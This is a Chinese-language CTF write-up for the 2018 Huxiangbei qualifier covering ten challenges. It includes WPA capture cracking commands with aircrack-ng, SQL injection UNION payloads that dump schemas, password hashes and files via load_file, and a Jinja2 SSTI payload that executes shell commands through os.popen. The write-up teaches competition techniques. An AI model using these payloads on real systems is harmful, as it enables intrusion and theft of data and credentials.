2018湖湘杯海选复赛Writeup
2018湖湘杯Writeup
- 0x01 簽到題
- 0x02 MISC Flow
- 0x03 WEB Code Check
- 0x04 WEB Readflag
- 0x05 WEB XmeO
- 0x06 Reverse Replace
- 0x07 MISC Disk
- 0x08 Crypto Common Crypto
- 0x09 Reverse HighwayHash64
- 0x10 Web Mynot
0x01 簽到題
關注合天智匯公眾號,回復hxb2018得到flag。
0x02 MISC Flow
解題思路、相關代碼和Flag截圖:
下載流量包后使用Wireshark打開發現是無線數據包:
aircrack-ng ctf.pcap
aircrack-ng ctf.pcap -w password-top1000.txt
airdecap-ng ctf.pcap -e ctf -p password1
使用Wireshark分析ctf-dec.pacp
0x03 WEB Code Check
解題思路、相關代碼和Flag截圖:
查看http://39.108.176.234:49882/news/路徑發現源代碼:通過分析寫出加密腳本:
from Crypto.Cipher import AES
import base64
def encrypt(context):cryptor = AES.new('ydhaqPQnexoaDuW3',AES.MODE_CBC,'2018201920202021')context = context + 'hxb2018'if (len(context)%16 != 0 ):add = 16 - (len(context) % 16)else:add = 0context = context + ('\0' * add)return base64.b64encode(base64.b64encode(cryptor.encrypt(context)))
while True:test = str(raw_input("please input:"))print encrypt(test)
最后通過sql得到flag:
-1 union select 1,load_file('/var/www/flag.php'),3,4 --
-1 union select 1,load_file('/var/www/flag.php'),3,4 --
union select 1,group_concat(schema_name),3 from information_schema.schemata
-1 union select 1,2,version(),4 --
-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata --
mozhe_discuz_stormgroup
-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' --
notice,notice2,stormgroup_member
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' --
id,name,password,status
-1 union select 1,name,password,4 from stormgroup_member where id=1 --
mozhe1
356f589a7df439f6f744ff19bb8092c0
-1 union select 1,name,password,4 from stormgroup_member where id=2 --
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice' --
id,title,content,time
-1 union select 1,id,title,4 from notice2 where id=1 --
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice2' --
0x04 WEB Readflag
解題思路、相關代碼和Flag截圖:
打開之后題目提示使用url-ssrf:
測試發現存在web.php:
根據提示存在readflag。但是訪問是亂碼,猜測使用c語言編譯后的,訪問readflag.c
發現該程序讀取的是flag文件,訪問得到flag:
0x05 WEB XmeO
解題思路、相關代碼和Flag截圖:
提交payload:{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('grep -nir hxb2018').read()}}。
ssti服務器端模版注入獲得flag。
0x06 Reverse Replace
解題思路、相關代碼和Flag截圖:
逆向程序邏輯
test1 = "637c777bf36b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb1648".decode('hex')test2 = '3350ef85212045c78fcfedf93c51504dcf004d51c7effbc3cf6e9ffb0443c3ff'.decode('hex')for tet in test2:if tet in test1:print(chr(test1.index(tet))),
獲得flag:
0x07 MISC Disk
解題思路、相關代碼和Flag截圖:
搜索flag發現如上:
將這些十六進制當作二進制拼接起來即可得到flag:
0110011001101100011000010110011101111011001101000100010001010011010111110011000101101110010111110100010000110001011100110110101101111101
得到:flag{4DS_1n_D1sk}
0x08 Crypto Common Crypto
解題思路、相關代碼和Flag截圖:
通過分析可以得到這個程序是用aes加密了一部分flag。以下是AES S盒:
AES密鑰
編寫腳本解密:
from Crypto.Cipher import AES
key = '\x1b\x2e\x35\x46\x58\x6e\x72\x86\x9b\xa7\xb5\xc8\xd9\xef\xff\x0c'
ciphertext = raw_input('please input ciphertext:').decode('hex')
decodesys = AES.new(key)
print decodesys.decrypt(ciphertext)[:16] + ciphertext[-16:] + '}'
0x09 Reverse HighwayHash64
解題思路、相關代碼和Flag截圖:
修改一下HighwayHashReset函數
是用腳本解密:
while (1){mstest(buffer, 0, 1024);sprintf(buffer, "%0.10lld", count);ret = HighwayHash64(buffer, 10, key);if (0x1CCB25A666AC646B == ret){printf("flag this= %s\n", buffer);break;}if (count % 10000000 == 0){printf("now testing = %s\n", buffer);}count ++;}
flag:hxb2018{3205649871}
0x10 Web Mynot
解題思路、相關代碼和Flag截圖:
首先上傳一個圖片。發現cookie中存在反序列化字段。
修改cookie中的picture。
base64解密之后:<?php
$flag = “hxb2018{b05c25bb0431166321eed47ebf968b89}”;
echo “flag{This_flag_iS_A_F4ke_flag}”;
得到flag:hxb2018{b05c25bb0431166321eed47ebf968b89}
總結
以上是生活随笔為你收集整理的2018湖湘杯海选复赛Writeup的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【学习笔记】git 使用文档
- 下一篇: Mac MySQL配置环境变量的两种方法